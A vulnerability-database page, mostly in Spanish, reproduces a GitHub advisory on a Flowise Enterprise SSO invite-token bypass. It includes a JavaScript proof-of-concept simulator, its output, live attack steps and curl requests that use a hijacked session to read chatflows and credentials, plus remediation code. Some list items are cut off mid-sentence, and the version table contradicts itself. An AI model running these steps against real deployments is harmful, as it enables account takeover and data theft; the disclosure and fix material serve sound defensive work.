llamaCVEVulnerability Intelligence
/
Advisory · GitHub · npm · flowise

GHSA-VF3J-89VF-R697

INVITED users auto-promoted via SSO email match (invite-token bypass)

Sin parche publicado
Descargar PNG JSON
CVSS 4.0
9.2
Crítica
CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N Fuente: GitHub
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
ParcheSin parcheEl fabricante no ha publicado corrección
Exposición69 dDesde la divulgación, 10 sept 2026, 9:18 a. m.
Detección69 dDesde la divulgación hasta su ingreso al índice
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Explotación
Remediación
Monitoreo
Detectada +1
10 sept 26
18 nov 26
19 nov 26
10 sept 26
28 sept 26
15 oct 26
1 nov 26
19 nov 26
FechaFaseEventoDetalle
Divulgación Publicada GHSA-VF3J-89VF-R697 divulgada · CVSS 9.2 (GitHub)
Monitoreo Detectada Ingresó al índice
Monitoreo Verificada Última verificación contra las fuentes
Resumen
Descripción del advisory
Texto original · GitHub · en inglés

### Summary
Flowise Enterprise's user invitation flow (`saveInviteAccount`,
`account.service.ts:349-414`) creates a User row with
`status = INVITED` and a unique `tempToken` whose intended purpose is
to be a single-use, time-bounded proof of email ownership: the
admin emails a `/register?token=<tempToken>` link to the invitee, who
clicks it and POSTs to `/api/v1/account/register` with the token, an
email match, and a new password. The legitimate register handler
(`account.service.ts:244-282`, ENTERPRISE branch) validates the
caller-supplied tempToken against the DB row, checks email match,
checks expiry, and only then flips `status = ACTIVE`.

The SSO `verifyAndLogin` path (`SSOBase.ts:80-94`) bypasses this
flow entirely. When an SSO callback arrives with an email matching an
INVITED user, it grabs the User row from the DB **including its
DB-stored `tempToken`** via the spread `...user` on line 84, then
passes the resulting `data` object to `accountService.register(data)`
(line 92):

} else {                                                              // line 80
    if (user.status === UserStatus.INVITED) {                         // line 81
        const data: any = {
            user: {
                ...user,                                              // ← line 84: spreads tempToken from DB
                email,
                name: profile.displayName || '',
                status: UserStatus.ACTIVE,
                credential: undefined
            }
        }
        const accountService = new AccountService()
        const newAccount = await accountService.register(data)        // ← line 92
        user = newAccount.user
    }

`register` is then run with the server's own DB-stored `tempToken`
serving as the "caller-supplied" token. Its validation chain
(`account.service.ts:245-265`) — `readUserByToken(tempToken)`, email
match check, expiry check — passes trivially because the token came
from the DB row that the server just looked up by email two function
calls earlier. The `status` is flipped to `ACTIVE`, the
`organizationUser.status` is flipped to `ACTIVE`, the `tempToken` is
cleared, and `verifyAndLogin` proceeds to construct a `LoggedInUser`
session for the attacker.

The net effect: **anyone who can authenticate at any configured SSO
provider with the invitee's email as the email claim becomes the
invited user — without ever knowing or possessing the email-link
token**. The 24-hour `INVITE_TOKEN_EXPIRY_IN_HOURS` window applies
(line 265), but during that window the attack is a single OIDC flow.

This is especially impactful in ENTERPRISE platform mode, where
unsolicited SSO logins are normally rejected (`SSOBase.ts:60-63`
throws `USER_NOT_FOUND` for new SSO callers). this advisory is the primary external-attacker route into ENTERPRISE deployments — every pending
invitation is a foothold.

The behavioral PoC at
the bundled behavioral PoC confirms all four stages:
admin invitation creates `status=INVITED, tempToken=<secret>`; the
legitimate `register` flow correctly rejects calls without the
token; the SSO callback (knowing only the email) flips status to
`ACTIVE` and clears the token; subsequent SSO logins as the same
email then take the standard email-only-match path (covered in the SSO email-only-binding companion advisory) indefinitely.

Relationship to the email-only identity-binding companion advisory

The companion advisory on SSO email-only identity binding covers already-ACTIVE
users — anyone with a Flowise account is takeoverable by an SSO attacker with their email. This advisory covers INVITED users — anyone
with a pending invitation is pre-takeoverable. Both flow through
`SSOBase.verifyAndLogin` and both rest on the same defect (no
provider-issued `sub` is ever bound to a user). They are filed as
separate advisories because they exploit different code branches
(line 81-93 INVITED arm vs line 95-97 ACTIVE arm) and have slightly different prerequisites (this advisory requires an in-flight invitation; the companion advisory does not).

The single, shared remediation is the same: introduce a
`(provider, sub) ↔ userId` binding table and never auto-merge by email.
This advisory has additional remediations that don't apply to the companion — see
Remediation below.

Details

Vulnerable file 1 — the SSO INVITED auto-promote branch:
`packages/server/src/enterprise/sso/SSOBase.ts:80-94`

} else {                                                              // line 80 (user found by email)
    if (user.status === UserStatus.INVITED) {                         // line 81
        const data: any = {
            user: {
                ...user,                                              // ← line 84:  spreads tempToken,
                                                                      //             tokenExpiry, etc.
                                                                      //             from the DB row
                email,                                                // ← whatever the SSO provider claimed
                name: profile.displayName || '',
                status: UserStatus.ACTIVE,
                credential: undefined                                  // ← no password gets set
            }
        }
        const accountService = new AccountService()
        const newAccount = await accountService.register(data)        // ← line 92
        user = newAccount.user
    }
    // (fall-through to LoggedInUser construction at SSOBase.ts:99-141 —
    //  attacker's session is built and returned to the provider's callback,
    //  which calls req.login(user) and issues a Flowise session cookie)
}

**Vulnerable file 2 — the validator that gets fed the server's own
state:**
`packages/server/src/enterprise/services/account.service.ts:244-282`
(ENTERPRISE branch of `createRegisterAccount`)

case Platform.ENTERPRISE: {
    if (data.user.tempToken) {                                        // ← line 245: yes — spread from DB
        const user = await this.userService.readUserByToken(data.user.tempToken, queryRunner)   // line 246
        if (!user) throw new InternalFlowiseError(StatusCodes.NOT_FOUND, UserErrorMessage.USER_NOT_FOUND)
        if (user.email.toLowerCase() !== data.user.email?.toLowerCase())                          // line 248
            throw new InternalFlowiseError(StatusCodes.BAD_REQUEST, UserErrorMessage.INVALID_USER_EMAIL)
        // ... organizationUser lookup ...
        const tokenExpiry = new Date(user.tokenExpiry!)
        const today = new Date()
        if (today > tokenExpiry) throw new InternalFlowiseError(StatusCodes.BAD_REQUEST, UserErrorMessage.EXPIRED_TEMP_TOKEN)   // line 265
        data.user.tempToken = ''                                       // line 266
        data.user.tokenExpiry = null
        data.user.name = name
        data.user.status = UserStatus.ACTIVE                           // ← line 269: PROMOTED
        data.organizationUser.status = OrganizationUserStatus.ACTIVE   // ← line 270: PROMOTED
        data.organizationUser.role = await this.roleService.readGeneralRoleByName(GeneralRole.MEMBER, queryRunner)
        data.workspace.name = WorkspaceName.DEFAULT_PERSONAL_WORKSPACE
        data.workspaceUser.role = await this.roleService.readGeneralRoleByName(GeneralRole.PERSONAL_WORKSPACE, queryRunner)
    } else {
        // (else: top-level signup path — not relevant here)
    }
    break
}

The semantic confusion: this function was written assuming the caller
was the invitee, supplying the tempToken from the email link as
proof of email ownership. Re-using it from the SSO path means the
server is now both the prover and the verifier. The verification
collapses to "does this user exist in our DB" — a property that is
already established by the email lookup at `SSOBase.ts:56`.

**Vulnerable file 3 — what creates the INVITED rows in the first
place (legitimate flow, included for context):**
`packages/server/src/enterprise/services/account.service.ts:349-414`
(`saveInviteAccount`, abridged)

const user = await this.userService.readUserByEmail(data.user.email, queryRunner)
if (!user) {
    data.user.tempToken = generateTempToken()                          // line 370
    const tokenExpiry = new Date()
    const expiryInHours = process.env.INVITE_TOKEN_EXPIRY_IN_HOURS ? parseInt(process.env.INVITE_TOKEN_EXPIRY_IN_HOURS) : 24
    tokenExpiry.setHours(tokenExpiry.getHours() + expiryInHours)
    data.user.tokenExpiry = tokenExpiry
    data.user.status = UserStatus.INVITED                              // line 376
    const registerLink =
        this.identityManager.getPlatformType() === Platform.ENTERPRISE
            ? getSecureTokenLink('/register', data.user.tempToken!)
            : getSecureAppUrl('/register')
    await this.sendInviteEmailIfAllowed(
        () => sendWorkspaceInvite(data.user.email!, data.workspace.name!, registerLink, this.identityManager.getPlatformType()),
        'workspace-invite'
    )
    data.user = await this.userService.createNewUser(data.user, queryRunner)
    data.organizationUser.status = OrganizationUserStatus.INVITED      // line 393
    data.organizationUser = await this.organizationUserService.createNewOrganizationUser(data.organizationUser, queryRunner)
    // ...
    data.workspaceUser.status = WorkspaceUserStatus.INVITED            // line 402
}

After this completes, the User table contains a row with
`{ email, status: INVITED, tempToken: <secret>, tokenExpiry: now+24h }`.
The admin emails the invitee a link of the form
`https://<host>/register?token=<secret>`. The tempToken is the only
proof of email ownership built into the design.

The end-to-end takeover sequence:

  1. Admin invokes `POST /api/v1/account/invite-user` with
  2. Attacker, knowing the invitation was sent (insider tipoff,
  3. Attacker hits `GET /api/v1/auth0/login` (or `/google/login` etc.).
  4. `Auth0SSO.ts:86` calls `verifyAndLogin(target@example.com, …)`.
  5. `SSOBase.ts:56` finds the INVITED User row.
  6. `SSOBase.ts:81-93` enters the auto-promote branch. It spreads the
  7. `register` validates `data.user.tempToken == T_invite` against the
  8. Control returns to `SSOBase.ts:99-141`, which builds a
  9. Provider callback at `Auth0SSO.ts:127-130` calls
  10. Attacker now holds a session as `target@example.com`, with
  11. The original invitee's email link is now invalid (tempToken
PoC

The bundled PoC replays the verbatim
`saveInviteAccount`, `createRegisterAccount` (ENTERPRISE branch), and
`SSOBase.verifyAndLogin` (INVITED arm) into a self-contained
simulator. The PoC confirms the legitimate accept-invite correctly
requires the tempToken, while the SSO callback completes the same
state transition without the tempToken being supplied by the caller.

// PoC: INVITED users auto-promoted to ACTIVE by any SSO email match
//                (invite-token bypass)
//
// Replays the verbatim invite + accept-invite + SSO auto-promote paths from
//   packages/server/src/enterprise/services/account.service.ts:349-414  (saveInviteAccount — admin invites a user)
//   packages/server/src/enterprise/services/account.service.ts:244-282  (createRegisterAccount, ENTERPRISE branch — legitimate accept-invite)
//   packages/server/src/enterprise/sso/SSOBase.ts:81-94                (the auto-promote branch — the bypass)
// in a self-contained simulator.
//
// Confirms that:
//   (a) The legitimate accept-invite flow REQUIRES the caller to know the
//       tempToken from the email — the tempToken is the proof-of-email-ownership.
//   (b) The SSO auto-promote branch grabs the tempToken from the DB row itself
//       (via `...user` spread on SSOBase.ts:84) and passes it back to register(),
//       so the tempToken validation at account.service.ts:245-265 is satisfied
//       by the server's own state — not by anything the caller proved.
//   (c) An attacker who can authenticate at any configured SSO provider with the
//       invited email as a claim has the User row promoted to ACTIVE and is
//       logged in as that user, without ever knowing or possessing the invite link.
//   (d) This works in ENTERPRISE mode where unsolicited SSO logins are rejected
//       — this is the primary external-attacker path against ENTERPRISE.

const crypto = require('crypto')

// --- In-memory schema (User / OrganizationUser / WorkspaceUser) -------------
const userTable = []
const organizationUserTable = []
const workspaceUserTable = []

const UserStatus = Object.freeze({ ACTIVE: 'active', INVITED: 'invited', UNVERIFIED: 'unverified' })
const OrganizationUserStatus = Object.freeze({ ACTIVE: 'active', INVITED: 'invited' })

// --- Verbatim port of UserService.readUserByEmail / readUserByToken ---------
//     (user.service.ts:58-62 / user.service.ts:64-66)
function readUserByEmail(email) {
    return userTable.find(u => u.email.toLowerCase() === email.toLowerCase()) || null
}
function readUserByToken(token) {
    return userTable.find(u => u.tempToken === token) || null
}

function generateTempToken() {
    return crypto.randomBytes(32).toString('hex')
}

// --- Verbatim port of saveInviteAccount (account.service.ts:349-414) --------
//     This is what an admin POSTs to /api/v1/account/invite
function adminInvite({ adminUserId, inviteEmail, workspaceId, organizationId }) {
    const existingUser = readUserByEmail(inviteEmail)
    if (existingUser) throw new Error('USER_ALREADY_EXISTS_USE_DIFFERENT_PATH')

    const tokenExpiry = new Date(Date.now() + 24 * 3600 * 1000)
    const newUser = {
        id: crypto.randomUUID(),
        email: inviteEmail,
        name: inviteEmail,
        credential: null,
        tempToken: generateTempToken(),
        tokenExpiry,
        status: UserStatus.INVITED,            // ← line 376
        createdBy: adminUserId,
        registeredVia: '<not yet>'
    }
    userTable.push(newUser)

    organizationUserTable.push({
        id: crypto.randomUUID(),
        organizationId,
        userId: newUser.id,
        roleName: 'MEMBER',
        status: OrganizationUserStatus.INVITED,    // ← line 393
        createdBy: adminUserId
    })
    workspaceUserTable.push({
        id: crypto.randomUUID(),
        workspaceId,
        userId: newUser.id,
        roleName: 'MEMBER',
        status: 'INVITED',                          // ← line 402
        createdBy: adminUserId
    })

    // The admin emails the invitation link, e.g.
    //   https://flowise.example.com/register?token=<tempToken>
    return {
        invitedUser: newUser,
        emailLink: `https://flowise.example.com/register?token=${newUser.tempToken}`
    }
}

// --- Verbatim port of createRegisterAccount, ENTERPRISE branch --------------
//     (account.service.ts:244-282 — the LEGITIMATE accept-invite path).
//     Public POST /api/v1/account/register with {user: {tempToken, email, credential, name}}
function legitimateRegister({ tempToken, email, credential, name }) {
    if (!tempToken) throw new Error('INVALID_TEMP_TOKEN')      // line 245 inverse
    const user = readUserByToken(tempToken)                    // line 246
    if (!user) throw new Error('USER_NOT_FOUND')               // line 247
    if (user.email.toLowerCase() !== email.toLowerCase())      // line 248
        throw new Error('INVALID_USER_EMAIL')                  // line 249
    if (new Date() > new Date(user.tokenExpiry))               // line 263-265
        throw new Error('EXPIRED_TEMP_TOKEN')

    user.credential = credential ? crypto.createHash('sha256').update(credential).digest('hex') : user.credential
    user.name = name || user.name
    user.tempToken = ''                                        // line 266
    user.tokenExpiry = null
    user.status = UserStatus.ACTIVE                            // line 269
    user.registeredVia = 'invite-link + password'

    const orgUser = organizationUserTable.find(ou => ou.userId === user.id)
    if (orgUser) {
        orgUser.status = OrganizationUserStatus.ACTIVE          // line 270
    }
    return user
}

// --- Verbatim port of SSOBase.verifyAndLogin INVITED branch (SSOBase.ts:80-97)
//     This is the BYPASS. Note the {...user} spread on line 84 — it copies the
//     DB-stored tempToken into `data`, which the server then passes BACK to its
//     own register() function on line 92.
function ssoVerifyAndLogin({ email, profile, providerName, platform }) {
    let user = readUserByEmail(email)                          // SSOBase.ts:56
    if (!user) {
        if (platform === 'ENTERPRISE') {
            throw new Error('USER_NOT_FOUND_ENTERPRISE_REJECTS_NEW_SSO')
        }
        // CLOUD: register a fresh account; not relevant for this attack
        const newUser = { id: crypto.randomUUID(), email, name: profile.displayName, status: UserStatus.ACTIVE, registeredVia: providerName }
        userTable.push(newUser)
        return { user: newUser, ssoProvider: providerName }
    }

    if (user.status === UserStatus.INVITED) {                  // ← SSOBase.ts:81
        // *** The bypass. The next line spreads the User from DB — including its tempToken.
        const data = {
            user: {
                ...user,                                       // ← SSOBase.ts:84: COPIES tempToken from DB
                email,
                name: profile.displayName || '',
                status: UserStatus.ACTIVE,
                credential: undefined
            }
        }
        // The server now calls register() with its OWN DB-stored tempToken.
        // register() validates the tempToken against the DB — the same DB it just
        // read it from. The check passes trivially. The "proof-of-email-ownership"
        // gate has been satisfied by the server, not the caller.
        const registered = legitimateRegister({
            tempToken: data.user.tempToken,                     // ← server-supplied
            email: data.user.email,
            credential: undefined,                              // ← no password set
            name: data.user.name
        })
        // Mark how this account got activated — for the demonstration only.
        registered.registeredVia = `${providerName} (auto-promoted from INVITED, no tempToken proof)`
        user = registered
    }
    // SSOBase.ts:99-141 builds LoggedInUser and calls done() — attacker now has session.
    return { user, ssoProvider: providerName }
}

;(async () => {
    console.log('================================================================')
    console.log('Stage 1 — Admin invites target@example.com')
    console.log('================================================================')
    const ADMIN_ID = 'admin-001'
    organizationUserTable.push({ id: 'org-admin-row', organizationId: 'org-acme', userId: ADMIN_ID, roleName: 'OWNER', status: OrganizationUserStatus.ACTIVE })
    userTable.push({ id: ADMIN_ID, email: 'admin@example.com', name: 'Admin', status: UserStatus.ACTIVE, registeredVia: 'local' })

    const inviteResult = adminInvite({
        adminUserId: ADMIN_ID,
        inviteEmail: 'target@example.com',
        workspaceId: 'ws-acme-shared',
        organizationId: 'org-acme'
    })
    const invitedUser = inviteResult.invitedUser
    const realInviteToken = invitedUser.tempToken
    console.log(`  invited user: ${invitedUser.email}`)
    console.log(`  status: ${invitedUser.status}`)
    console.log(`  tempToken: ${realInviteToken.substring(0, 16)}…  (sent ONLY in the email)`)
    console.log(`  email link: ${inviteResult.emailLink.substring(0, 60)}…`)
    console.log(`  organizationUser status: ${organizationUserTable.find(o => o.userId === invitedUser.id).status}`)
    console.log(`  workspaceUser status: ${workspaceUserTable.find(w => w.userId === invitedUser.id).status}`)

    console.log('\n================================================================')
    console.log('Stage 2 — Legitimate accept: registration flow REQUIRES the tempToken')
    console.log('================================================================')
    try {
        legitimateRegister({ tempToken: '', email: 'target@example.com', credential: 'NewPassword!', name: 'Real Target' })
        console.log('  unexpected — register accepted without tempToken')
    } catch (e) {
        console.log(`  ❌ register rejected without tempToken: "${e.message}"  (correct)`)
    }
    try {
        legitimateRegister({ tempToken: 'guessed-token', email: 'target@example.com', credential: 'NewPassword!', name: 'Real Target' })
        console.log('  unexpected — register accepted with wrong tempToken')
    } catch (e) {
        console.log(`  ❌ register rejected with wrong tempToken: "${e.message}"  (correct)`)
    }

    console.log('\n================================================================')
    console.log('Stage 3 — Attacker hits SSO callback with target@example.com')
    console.log('  (Auth0 connection with verify_email_on_signup=false, OR a GitHub')
    console.log('   account with target@example.com as primary, OR any provider that')
    console.log('   the org\'s Flowise instance trusts and that lets the attacker mint')
    console.log('   the email claim.)  Attacker has NO knowledge of the tempToken.')
    console.log('================================================================')
    console.log(`  [pre-attack] target@example.com user.status = ${readUserByEmail('target@example.com').status}`)
    console.log(`  [pre-attack] target@example.com organizationUser.status = ${organizationUserTable.find(o => o.userId === invitedUser.id).status}`)
    console.log(`  [pre-attack] target@example.com user.tempToken = ${readUserByEmail('target@example.com').tempToken.substring(0, 16)}…`)

    const sso = ssoVerifyAndLogin({
        email: 'target@example.com',
        profile: { displayName: 'Mallory Attacker', id: 'auth0|attacker' },
        providerName: 'Auth0 SSO',
        platform: 'ENTERPRISE'                                    // ← ENTERPRISE rejects fresh SSO,
                                                                  //   but the INVITED branch fires first
    })
    console.log('\n  [post-attack] verifyAndLogin returned a session for:')
    console.log(`    user.id = ${sso.user.id}`)
    console.log(`    user.email = ${sso.user.email}`)
    console.log(`    user.status = ${sso.user.status}`)
    console.log(`    user.tempToken = "${sso.user.tempToken}"  (cleared by register())`)
    console.log(`    user.registeredVia = "${sso.user.registeredVia}"`)
    console.log(`    organizationUser.status = ${organizationUserTable.find(o => o.userId === sso.user.id).status}`)
    console.log(`    ssoProvider on session = "${sso.ssoProvider}"`)

    if (sso.user.status === UserStatus.ACTIVE && organizationUserTable.find(o => o.userId === sso.user.id).status === OrganizationUserStatus.ACTIVE) {
        console.log('\n  [+] CONFIRMED — attacker activated the INVITED account via SSO,')
        console.log('      bypassing the tempToken-based proof-of-email-ownership.')
        console.log('      The attacker never read the email link.')
    }

    console.log('\n================================================================')
    console.log('Stage 4 — Attacker has full org Member access via SSO going forward')
    console.log('================================================================')
    console.log('  Subsequent SSO logins by the attacker no longer hit the INVITED branch')
    console.log('  (status is now ACTIVE), so they take the normal email-only-match path:')
    const followup = ssoVerifyAndLogin({
        email: 'target@example.com',
        profile: { displayName: 'Mallory Attacker', id: 'auth0|attacker' },
        providerName: 'Auth0 SSO',
        platform: 'ENTERPRISE'
    })
    console.log(`    follow-up login → user.id = ${followup.user.id}, status = ${followup.user.status}`)
    console.log('  Attacker now logs in as the invited user indefinitely.')

    console.log('\n================================================================')
    console.log('Why the tempToken validation is meaningless in the SSO path')
    console.log('================================================================')
    console.log('In account.service.ts:245-265 (the validator):')
    console.log('   if (data.user.tempToken) {')
    console.log('     const user = await this.userService.readUserByToken(data.user.tempToken, queryRunner)')
    console.log('     if (user.email.toLowerCase() !== data.user.email?.toLowerCase()) ...')
    console.log('     if (today > tokenExpiry) ...')
    console.log('     // ↑ all checks pass — the tempToken came from the DB row that the')
    console.log('     //   server itself just looked up by email in SSOBase.ts:56.')
    console.log('   }')
    console.log('In SSOBase.ts:84:')
    console.log('   const data = { user: { ...user /* ← copies tempToken from DB! */, ... } }')
    console.log('   await accountService.register(data)')
    console.log('')
    console.log('The validator was designed to verify the CALLER possessed the tempToken')
    console.log('(via the email link). In the SSO path, the SERVER supplies its own state')
    console.log('to its own validator — the check is reduced to "the user exists in our DB."')

    console.log('\n================================================================')
    console.log('Realistic exploitation paths')
    console.log('================================================================')
    console.log('1. ENTERPRISE deployment with Auth0 (verify_email_on_signup=false). Admin')
    console.log('   sends invite to new-employee@company.com. Attacker registers an Auth0')
    console.log('   user with that email and triggers Auth0 SSO at Flowise. Account is')
    console.log('   ACTIVE-promoted; attacker is in.')
    console.log('2. Chained with the GitHub-primary-email companion advisory: attacker creates a GitHub')
    console.log('   account, adds new-employee@company.com to their email list, makes it')
    console.log('   primary, triggers GitHub SSO at Flowise. Same outcome.')
    console.log('3. Race during onboarding rollouts: when an org bulk-invites N users at')
    console.log('   once, all N invitations are exposed to takeover via this attack by anyone who can')
    console.log('   produce SSO email claims for those emails — within the 24h tokenExpiry.')
})()
Observed output
invited: target@example.com status= invited tempToken= 414c882f…
register without token rejected: INVALID_TEMP_TOKEN
register wrong token rejected: USER_NOT_FOUND

post-SSO user.status: active  (was INVITED)
post-SSO orgUser.status: active
post-SSO tempToken: ""  (cleared by register())
post-SSO registeredVia: "Auth0 SSO (auto-promoted from INVITED, no tempToken proof)"

[+] CONFIRMED — attacker activated the INVITED account via SSO,
    bypassing the tempToken-based proof-of-email-ownership.
    The attacker never read the email link.
End-to-end against a live Flowise Enterprise instance
# Pre-condition: Flowise Enterprise has Auth0 SSO enabled, AND admin has just
# invited target@example.com (User row status=INVITED, tempToken set).

# 1. Attacker creates an Auth0 user at the configured Auth0 tenant with email
#    target@example.com  (Auth0 username/password connection where
#    `verify_email_on_signup: false`, or a social connection that doesn't enforce
#    verification, or a malicious Auth0 tenant the org's instance trusts).

# 2. Attacker initiates Auth0 login at Flowise:
GET https://flowise.example.com/api/v1/auth0/login
   ↓ Auth0 redirects after attacker authenticates at Auth0 ↓
GET https://flowise.example.com/api/v1/auth0/callback?code=AUTH_CODE&state=...

# 3. Server exchanges the code, fetches userInfo with email=target@example.com.
#    SSOBase.verifyAndLogin → readUserByEmail → INVITED row.
#    Auto-promote branch fires → register() flips status to ACTIVE.
#    setTokenOrCookies(target) → attacker now holds a session as the invited user.

# 4. Attacker has a Member role in the inviting organization:
curl --cookie 'connect.sid=<session>' https://flowise.example.com/api/v1/chatflows
# → returns the org's Member-visible chatflows
curl --cookie 'connect.sid=<session>' https://flowise.example.com/api/v1/credentials
# → returns the user's credentials (initially empty; attacker can now create any)
curl --cookie 'connect.sid=<session>' https://flowise.example.com/api/v1/workspace-users
# → returns the org's workspace-user listing (depending on role permissions)

# 5. The legitimate invitee's email link no longer works:
GET https://flowise.example.com/register?token=<original tempToken>
   → INVALID_TEMP_TOKEN  (it was cleared by step 3)
Impact
  • Class: Improper Authentication (CWE-287) primary; Authentication
  • Affected: Flowise Enterprise platform deployments — i.e., all
  • Prerequisites:
  • Default scenario (AC:L): an active invitation is in flight
  • Hardened scenario (AC:H): strict single-IdP with verifying
  • Result:
  • Foothold in ENTERPRISE deployments. ENTERPRISE mode rejects
  • Confidentiality: read of the inviting organization's
  • Integrity: create/modify/delete chatflows and credentials in
  • Loss of integrity for the legitimate invitation flow. The
  • Persistence. Subsequent SSO logins by the attacker no longer
Remediation

Maintainer fix (recommended — do not auto-promote in the SSO path):

The simplest correct change is to not bypass the email-link flow.
Treat INVITED users as "still requiring the email link" even when an
SSO callback arrives with their email. Practically: in
`SSOBase.ts:80-94`, replace the auto-promote branch with a refusal:

} else {
    if (user.status === UserStatus.INVITED) {
        // The user has not yet completed their invitation — the email-link
        // tempToken is the only proof of email ownership in our model. Do
        // not consume the tempToken on their behalf.
        return done({
            name: 'SSO_LOGIN_FAILED',
            message: 'You have a pending invitation. Please open the invitation email and complete registration there before signing in via SSO.'
        }, undefined)
    }
    // ... existing ACTIVE-user path ...
}

This forces the legitimate invitee to click the email link (proving
email ownership), set up their account, and only then sign in via
SSO. The attacker — who cannot read the email — has no path to
ACTIVE.

**Combined fix with the SSO email-only-binding companion advisory (recommended — `(provider, sub)` binding
table):** Per that companion advisory's remediation, introduce a `UserIdentity` entity
that maps each `(provider, sub)` to a single Flowise User. With that
in place, the INVITED auto-promote can be safely retained but only
for the specific case where:

  1. The user's row has status `INVITED`.
  2. There is no existing `UserIdentity` row for `(provider, sub)`.
  3. The IdP's `email_verified` claim is `true` (not currently consumed —

In that case, store `UserIdentity(provider, sub, userId)`, mark the
invitation accepted, and proceed. Subsequent logins go through the
binding rather than email matching. Both this advisory and the companion are then closed by the same change.

Defense in depth:

  1. Honor `email_verified` on OIDC providers. Currently
  2. Audit-log invitation acceptances and SSO promotions separately.
  3. Shorten the invitation expiry default. 24h is too long for an
  4. Notify the inviting admin AND the invitee when an invitation
  5. Block invitation resends within a cooldown window. Currently

User mitigations until a patch ships:

  • **Use only ONE SSO provider per Flowise Enterprise instance, with
  • Disable the invite-by-email flow entirely and onboard users
  • Audit existing INVITED users. For each User row where
  • For the invitee: if your invitation email link returns

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Vector CVSS 4.0

Desglose de métricas

Opción resaltada = valor del vector · izquierda = peor caso · GitHub
Vector de ataqueAV:N
RedAdyacenteLocalFísica
ComplejidadAC:H
BajaAlta
Requisitos de ataqueAT:N
NingunoPresentes
PrivilegiosPR:N
NingunoBajosAltos
InteracciónUI:N
NingunaPasivaActiva
Confid. (sistema)VC:H
AltoBajoNinguno
Integridad (sistema)VI:H
AltoBajoNinguno
Disponib. (sistema)VA:L
AltoBajoNinguno
Confid. (posterior)SC:N
AltoBajoNinguno
Integridad (posterior)SI:N
AltoBajoNinguno
Disponib. (posterior)SA:N
AltoBajoNinguno
Versiones

Rangos afectados

Afectada Corregida Última
flowise≤ 3.1.4
3.1.4
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
npmflowise
Sin parche — — 3.1.4 afectada
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://github.com/FlowiseAI/Flowise/security/advisories/GHSA-vf3j-89vf-r697

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.